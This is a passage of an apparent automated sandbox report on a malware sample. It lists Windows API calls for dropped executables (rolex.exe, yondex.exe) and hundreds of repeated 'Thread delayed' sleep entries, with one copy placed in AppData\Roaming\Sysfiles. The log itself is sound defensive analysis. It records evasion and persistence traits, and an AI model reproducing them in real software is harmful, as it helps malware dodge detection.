indClose,SendDlgItemMessageW,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,	3_2_00007FF7AB4BB190
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\rolex.exe	Code function: 3_2_00007FF7AB4CFCA0 FindFirstFileExA,	3_2_00007FF7AB4CFCA0

Source: C:\Users\user\Desktop\h2UFp4aCRq.exe

Code function: 0_2_00007FF6559516A4 VirtualQuery,GetSystemInfo,

0_2_00007FF6559516A4

Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Thread delayed: delay time: 599891	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Thread delayed: delay time: 599766	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Thread delayed: delay time: 599641	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Thread delayed: delay time: 599531	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Thread delayed: delay time: 599422	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Thread delayed: delay time: 599304	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Thread delayed: delay time: 599202	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Thread delayed: delay time: 599094	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Thread delayed: delay time: 598967	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Thread delayed: delay time: 60000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Thread delayed: delay time: 598858	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Thread delayed: delay time: 598745	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Thread delayed: delay time: 598578	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Thread delayed: delay time: 598453	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Thread delayed: delay time: 598342	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Thread delayed: delay time: 598234	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Thread delayed: delay time: 598125	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Thread delayed: delay time: 598015	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Thread delayed: delay time: 597906	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Thread delayed: delay time: 597797	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Thread delayed: delay time: 597687	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Thread delayed: delay time: 597544	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Thread delayed: delay time: 597437	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Thread delayed: delay time: 597328	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Thread delayed: delay time: 597172	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Thread delayed: delay time: 596953	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Thread delayed: delay time: 596750	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Thread delayed: delay time: 596500	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Thread delayed: delay time: 596203	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 599688	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 599469	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 599266	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 599104	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 598907	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 60000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 598672	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 598438	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 598016	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 597813	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 597610	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 597422	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 597219	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 597030	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 596844	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 596657	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 596438	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 596275	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 596104	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 595922	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 595563	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 595375	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 595172	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 594938	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 594703	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 594438	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 600000
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 599810
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 599562
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 599328
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 599156
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 599000
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 60000
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 598796
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 598546
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 598359
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 598164
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 597843
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 597640
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 597455
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 597281
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 597124
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 596921
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 596718
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 596542
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 596328
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 596156
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 595994
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 595734
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 595375
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 595140
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 594906
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 594701
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 600000
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 599469
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 599265
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 599031
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 598812
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 598625
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 60000
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 598406
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 598187
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 598031
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 597765
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 597574
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 597390
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 597203
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 597015
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 596890
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 596778
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 596658
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 596498
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 596338
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 596217
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 596052
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 595922
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 595807
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 595685
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 595546
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 595378
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 595234
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 595102
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 594961
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 594806
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 594661
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 594500
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 594386
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 594219
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 594062
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 593936
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 593797
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 593640
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 593530
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 593393
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 593234
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 593104
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 592937
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 592820
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 592672
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 592515
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 592375
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 592234
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 592098
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 591922
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 591783
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 591640
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 591469
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 591312
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 591186
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 591047
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 590911
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 590777
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 590653
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 590530
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 590390
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 590250
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 590109
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 589993
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 589859
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 589723
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 589585
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 589437
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 589281
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 589156
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 589026
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 588901
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 588763
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 588621
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 588475
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 588337
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 588210
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 588071
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 587943
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 587781
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 587625
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 587484
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 587328
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 587202
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 587047
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 586906
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 586778
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 586609
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 586437
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 586286
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 586154
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 586015
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 585875
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 585719
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 585578
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 585437
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 585094
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 584903
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 584765
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 584647
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 584509
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 584346
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 584203
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 584062
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 583908
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 583750
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 583621
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 583498
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 583359
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 583204
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 583047
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 582781
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 582645
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 582500
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 582359
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 582203
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 582070
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 581922
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 581781
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 581625
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 581490
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 581344
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 581203
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 581086
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 580945
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 580797
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 580656
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 580526
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 580400
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 580258
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 580109
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 579984
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 579844
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 579708
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 579547
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 579424
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 579297
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 579160
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 579005
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 578868
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 578731
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 578578
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 578449
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 578322
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 578186
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 578060
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 577934
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 577804
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 577659
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 577515
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 577368
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 577234
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 577078
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 576960
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 576781
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 576651
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 576499
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 576344
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 576187
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 576054
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 575890
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 575765
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 575634
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 575487
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 575328
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 575218
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 575078
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 574951
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 574812
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 574681
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 574531
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 574394
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 574258
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 574078
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 573920
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 573781
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 573646
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 573510
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 573362
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 573219
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 573064
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 572922
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 572791
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 572659
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 572500
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 572377
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 572236
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 572107
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 571980
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 571844
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 571712
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 571578
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 571422
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 571285
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 571154
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 571026
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 570875
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 570760
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 570616
